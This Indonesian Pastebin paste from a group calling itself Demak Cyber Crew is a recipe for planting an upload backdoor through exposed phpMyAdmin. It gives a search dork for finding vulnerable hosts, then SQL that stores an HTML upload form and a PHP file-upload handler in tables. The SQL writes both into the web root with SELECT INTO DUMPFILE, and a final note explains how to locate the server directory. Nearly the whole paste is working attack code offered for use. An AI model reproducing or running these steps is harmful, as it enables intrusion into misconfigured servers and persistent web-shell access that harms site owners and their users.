kurniaandi1

Cara Upload Shell/Backdoor Via PhpMyadmin By DCC

Feb 28th, 2015
443
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.30 KB | None | 0 0
  1. Dorks : allinurl:index.php?db=information_schema
  2.  
  3.  
  4.  
  5. CREATE TABLE `DB NAME`.`userform` (
  6. `track1` VARCHAR( 1000 ) NOT NULL
  7. ) ENGINE = MYISAM ;
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15. ...........................................................
  16. CREATE TABLE `DB NAME`.`user_upload` (
  17. `track2` VARCHAR( 1000 ) NOT NULL
  18. ) ENGINE = MYISAM ;
  19. ............................................................
  20.  
  21.  
  22.  
  23.  
  24.  
  25. insert into userform values ('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  26.  
  27. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  28. <html xmlns="http://www.w3.org/1999/xhtml">
  29. <head>
  30. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  31. <title>DCC | Demak Cyber Crew</title>
  32. </head>
  33. <body bgcolor="white">
  34. <div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
  35. ">&gt;&gt; &nbsp; DCC | Demak Cyber Crew Upload Your file </div>
  36. <div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
  37. <form enctype="multipart/form-data" action="upload.php" method="post">
  38. <input name="userfile" type="file" />&nbsp;
  39. <input type="submit" value="Upload" />
  40. </form>
  41. </div>
  42. </body>
  43. </html>');
  44.  
  45.  
  46. ......................................................................
  47.  
  48. select * into dumpfile '/opt/lampp/htdocs/filename.php' from userform
  49. .......................................................................
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62. INSERT INTO user_upload
  63. VALUES (
  64. "<?php $uploaddir = '/opt/lampp/htdocs/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if
  65.  
  66. (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { print '<body bgcolor=#000></br></br><div
  67.  
  68. align=center><font size=5 color=#ff0000>Demak Cyber Crew | uploaded successfully</font></body>'; } else { print '<body
  69.  
  70. bgcolor=#000></br></br><div align=center><font size=5 color=#ff0000Demak Cyber Crew| Error !
  71. </font> <marquee> Demak Cyber Crew</marquee> </body>'; } ?> "
  72. )
  73.  
  74.  
  75.  
  76.  
  77. ........................................................................
  78. select * into dumpfile '/opt/lampp/htdocs/upload.php' from user_upload
  79. ........................................................................
  80.  
  81.  
  82.  
  83.  
  84. NB: /opt/lampp/htdocs/ ... itu adalah direktori dari web server, jadi disesuaikan sendiri untuk mengetahui direktorinya silahkan ketikkan perintah di SQL : SELECT@@datadir
Advertisement
Add Comment
Please, Sign In to add comment